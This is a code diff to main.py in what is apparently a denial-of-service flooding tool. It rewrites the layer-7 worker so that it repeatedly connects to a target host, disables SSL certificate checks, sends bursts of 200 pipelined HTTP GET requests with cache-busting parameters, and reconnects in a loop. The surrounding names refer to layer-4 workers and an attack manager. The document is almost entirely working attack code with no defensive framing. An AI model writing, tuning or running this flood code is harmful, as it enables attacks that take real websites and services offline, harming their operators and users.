Update main.py

main.py

@@ -248,96 +248,81 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
     sock.close()
 
 # ====================================================================================
-#  OPTIMIZED L7 WORKER PROCESS - NO THREADS!
+#  SIMPLE L7 WORKER - BLOCKING SOCKETS THAT ACTUALLY WORK!
 # ====================================================================================
 def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, socket_count):
-    """L7 worker - manages pool of sockets in single process (NO THREADING)."""
+    """L7 worker - SIMPLE APPROACH: Create socket, send burst, repeat."""
     use_ssl = (port in [443, 8443])
     host = target_ip
     
     # Pre-build HTTP request template
     http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
     
-    # Socket pool
-    sockets = []
     local_counter = 0
     req_counter = 0
     
-    # Create initial socket pool
-    for _ in range(socket_count):
+    print(f"[PID {os.getpid()}] Worker started - targeting {host}:{port}", flush=True)
+    
+    # SIMPLE LOOP: Connect, send many requests, disconnect, repeat
+    while not stop_event.is_set():
+        sock = None
         try:
+            # Create and connect socket
             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
-            sock.settimeout(2)
-            sock.setblocking(False)  # Non-blocking!
-            sock.connect_ex((host, port))  # Non-blocking connect
+            sock.settimeout(5)
+            sock.connect((host, port))
             
             if use_ssl:
                 import ssl as ssl_module
                 context = ssl_module.create_default_context()
                 context.check_hostname = False
                 context.verify_mode = ssl_module.CERT_NONE
-                sock = context.wrap_socket(sock, server_hostname=host, do_handshake_on_connect=False)
-            
-            sockets.append(sock)
-        except:
-            pass
-    
-    # Main flood loop - cycle through all sockets
-    while not stop_event.is_set():
-        for sock in sockets[:]:  # Copy list to allow modification
-            if stop_event.is_set():
-                break
+                sock = context.wrap_socket(sock, server_hostname=host)
             
-            try:
-                # Send request
-                request = http_template.format(req_counter).encode()
-                sock.sendall(request)
-                local_counter += 1
-                req_counter += 1
-                
-                # Try non-blocking read
-                try:
-                    _ = sock.recv(4096, socket.MSG_DONTWAIT)
-                except:
-                    pass
+            # Send burst of requests (pipeline)
+            for _ in range(200):  # 200 requests per connection
+                if stop_event.is_set():
+                    break
                     
-            except:
-                # Socket dead, recreate
                 try:
-                    sock.close()
+                    request = http_template.format(req_counter).encode()
+                    sock.sendall(request)
+                    local_counter += 1
+                    req_counter += 1
                 except:
-                    pass
-                sockets.remove(sock)
+                    break
+            
+            # Try to read response
+            try:
+                sock.settimeout(0.1)
+                _ = sock.recv(8192)
+            except:
+                pass
                 
-                # Create new socket
+            sock.close()
+            
+        except Exception as e:
+            pass
+        finally:
+            if sock:
                 try:
-                    new_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-                    new_sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
-                    new_sock.settimeout(2)
-                    new_sock.setblocking(False)
-                    new_sock.connect_ex((host, port))
-                    sockets.append(new_sock)
+                    sock.close()
                 except:
                     pass
         
-        # Batch counter updates
+        # Update counter in batches
         if local_counter >= STATS_BATCH_UPDATE_SIZE:
             with shared_counter.get_lock():
                 shared_counter.value += local_counter
             local_counter = 0
     
-    # Cleanup
-    for sock in sockets:
-        try:
-            sock.close()
-        except:
-            pass
-    
     # Final update
     if local_counter > 0:
         with shared_counter.get_lock():
             shared_counter.value += local_counter
+    
+    print(f"[PID {os.getpid()}] Worker stopped - sent {local_counter} requests", flush=True)
 
 # ====================================================================================
 #  CENTRALIZED ATTACK MANAGER (SINGLETON)